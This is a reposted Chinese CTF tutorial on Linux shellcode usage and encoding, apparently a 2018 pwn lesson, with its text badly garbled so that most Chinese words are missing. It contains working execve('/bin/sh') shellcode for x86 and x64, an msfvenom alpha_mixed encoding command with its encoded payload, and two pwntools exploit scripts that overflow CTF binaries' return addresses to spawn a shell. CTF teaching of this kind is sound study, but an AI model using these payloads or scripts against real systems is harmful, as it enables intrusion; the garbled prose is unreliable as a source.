[19354] 2018-07-12_Linuxpwn入门教程(2)——shellcode的使用,原理与变形

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2018-07-12_Linuxpwn入门教程(2)——shellcode的使用,原理与变形 L i n u x   p w n ( 2 ) s h e l l c o d e 使 i   2 0 1 8 - 0 7 - 1 2 T a n g e r i n e @ S A I N T S E C i s h e l l c o d e 使 使 使 使 使 s h e l l c o d e ~ / O p e n c t f   2 0 1 6 - t y r o _ s h e l l c o d e 1 / t y r o _ s h e l l c o d e 1 3 2 d o c k e r O K E x c e p t i o n   h a n d l i n g N o d i s c a r d S I G A L R M F 5 使 r e a d 使 m m a p
使 c a l l 便 1 2 3 4 5 6 7 8 s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l 便 1 0 0 0 1 d o c k e r
s h e l l c o d e r e a d 0 x 2 0 = 3 2 . s h e l l - s t o r m . o r g s h e l l c o d e s h e l l - s t o r m . o r g / s h e l l c o d e / s h e l l c o d e 2 1 s h s h e l l c o d e s h e l l c o d e 使 p w n t o o l s s h e l l c o d e 使 i o . i n t e r a c t i v e ( ) s h e l l s h e l l - s t o r m / e t c / p a s s w d s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e c a l l   e a x F 7
O p t i o n s - > G e n e r a l N u m b e r   o f   o p c o d e   b y t e s   ( n o n - g r a p h ) 1 6 1 6 o p c o d e o p c o d e 6 o p c o d e x o r   e c x ,   e c x o p c o d e 1 6 0 1 C P U I D A 使 1 6 1 6 o p c o d e s h e l l c o d e 使 o p c o d e I n t e l s h e l l c o d e E A X ,   E B X ,   E C X ,   E D X E A X 0 X b E C X / b i n / / s h E B X i n t   8 0 h I D A w a r n i n g g o t   S I G T R A P   s i g n a l O K F 8 F 9 Y e s p a s s   t o   a p p   . p y t h o n i o . i n t e r a c t i v e ( ) 便 s h e l l l s I D A F 9
O K Y e s p a s s   t o   a p p p y t h o n s h e l l s h e l l c o d e s y s t e m s y s t e m ( " / b i n / s h " ) i n t   8 0 h i n t e l i n t i n t   8 0 h 1 2 8 3 2 l i n u x s y s t e m _ c a l l ( ) . 使 访 r e a d ( ) ,   w r i t e ( ) r e a d ( ) ,   w r i t e ( ) 访 i n t   8 0 h   i n t   8 0 h r e a d ( ) ,   w r i t e ( ) ,   s y s t e m ( ) 3 2 l i n u x 0 ~ 3 3 7 3 3 8 i n t   8 0 h 使 i n t   8 0 h s y s t e m ( " / b i n / s h " ) h t t p : / / s y s c a l l s . k e r n e l g r o k . c o m / s y s t e m 使 s h e l l c o d e s h e l l c o d e E A X   =   0 X b   =   1 1 E B X   =   & ( / b i n / / s h ) ,   E C X   =   E D X   =   0 s y s _ e x e c v e ( " / b i n / / s h " ,   0 ,   0 ,   0 ) / b i n / s h s h e l l . s y s t e m s h e l l 6 4 l i n u x s y s c a l l s y s _ e x e c v e E A X 0 x 3 B 3 2 h t t p : / / b l o g . r c h a p m a n . o r g / p o s t s / L i n u x _ S y s t e m _ C a l l _ T a b l e _ f o r _ x 8 6 _ 6 4 s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e x 0 0 ,   x 0 A s h e l l c o d e 使 s h e l l c o d e ~ / B S i d e s   S a n   F r a n c i s c o   C T F   2 0 1 7 - b _ 6 4 _ b _ t u f f / b - 6 4 - b - t u f f . F 5 b a s e 6 4 ( b a s e 6 4 s h e l l c o d e r e t u r n   0 )
b a s e 6 4 0 - 9 a - z A - Z + / s h e l l s h e l l c o d e " x 3 1 x c 9 x f 7 x e 1 x b 0 x 0 b x 5 1 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x c d x 8 0 " b a s e 6 4 s h e l l c o d e 使 p w n t o o l s e n c o d e s h e l l c o d e e n c o d e m s f V E N O M k a l i m e t a s p l o i t 使 k a l i 使 m s f v e n o m m s f v e n o m   - l   e n c o d e r s
x 8 6 / a l p h a _ m i x e d s h e l l c o d e p y t h o n - c ' i m p o r t s y s ;   s y s . s t d o u t . w r i t e ( " x 3 1 x c 9 x f 7 x e 1 x b 0 x 0 b x 5 1 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x c d x 8 0 " ) '   |   m s f v e n o m   - p   -   - e   x 8 6 / a l p h a _ m i x e d   - a l i n u x   - f   r a w   - a   x 8 6   - - p l a t f o r m   l i n u x   B u f f e r R e g i s t e r = E A X   - o   p a y l o a d s h e l l c o d e m s f v e n o m s t d i n 使 l i n u x | s h e l l c o d e p y t h o n p y t h o n s t d o u t m s f v e n o m s t d i n x 8 6 / a l p h a _ m i x e d p a y l o a d b - 6 4 - b - t u f f c a l l   e a x s h e l l c o d e B u f f e r R e g i s t e r = E A X p a y l o a d P Y I I I I I I I I I I I I I I I I 7 Q Z j A X P 0 A 0 A k A A Q 2 A B 2 B B 0 B B A B X P 8 A B u J I p 1 k y i g H a X 0 6 k r q P h 6 O D o a c c X U 8 T o E 2 b I b N L I X c H M O p A A
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * f r o m   b a s e 6 4   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 )       i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 )         s h e l l c o d e = b 6 4 d e c o d e ( " P Y I I I I I I I I I I I I I I I I 7 Q Z j A X P 0 A 0 A k A A Q 2 A B 2 B B 0 B B A B X P 8 A B u J I p 1 k y i g H a X 0 6 k r q P h 6 O D o a c c X U 8 T o E 2 b I b N L I X c H M O p A A " ) p r i n t   i o . r e c v ( )   i o . s e n d ( s h e l l c o d e )     p r i n t   i o . r e c v ( )           i o . i n t e r a c t i v e ( ) s h e l l s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e ~ / C S A W   Q u a l s   C T F   2 0 1 7 - p i l o t / p i l o t m a i n 使 p w n t o o l s c h e c k s e c R W X l i n u x ( R ) ( W ) ( X ) R W X b u f
s h e l l c o d e R I P s h e l l c o d e # ! / u s r / b i n / p y t h o n   # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   *   c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 )         i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )         s h e l l c o d e = " x 4 8 x 3 1 x d 2 x 4 8 x b b x 2 f x 2 f x 6 2 x 6 9 x 6 e x 2 f x 7 3 x 6 8 x 4 8 x c 1 x e b x 0 8 x 5 3 x 4 8 x 8 9 x e 7 x 5 0 x 5 7 x 4 8 x 8 9 x e 6 x b 0 x 3 b x 0 f x 0 5 " # x o r   r d x ,   r d x # m o v   r b x ,   0 x 6 8 7 3 2 f 6 e 6 9 6 2 2 f 2 f # s h r   r b x ,   0 x 8 # p u s h   r b x # m o v   r d i ,   r s p # p u s h   r a x # p u s h   r d i # m o v   r s i ,   r s p # m o v   a l ,   0 x 3 b # s y s c a l l p r i n t   i o . r e c v u n t i l ( " L o c a t i o n : " )                                                           # " L o c a t i o n : "   s h e l l c o d e _ a d d r e s s _ a t _ s t a c k   =   i n t ( i o . r e c v ( ) [ 0 : 1 4 ] ,   1 6 )               #   l o g . i n f o ( " L e a k s t a c k a d d r e s s = % x " ,   s h e l l c o d e _ a d d r e s s _ a t _ s t a c k ) p a y l o a d   =   " "                                         p a y l o a d   + =   s h e l l c o d e                                                                               # s h e l l c o d e   p a y l o a d   + =   " x 9 0 " * ( 0 x 2 8 - l e n ( s h e l l c o d e ) )                                   # R I P N O P x 9 0 p a y l o a d   + =   p 6 4 ( s h e l l c o d e _ a d d r e s s _ a t _ s t a c k )                                     # s h e l l c o d e R I P s h e l l c o d e   i o . s e n d ( p a y l o a d ) i o . i n t e r a c t i v e ( ) m a i n r e t n s h e l l c o d e
s h e l l c o d e s h e l l c o d e p u s h p u s h   r d i
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则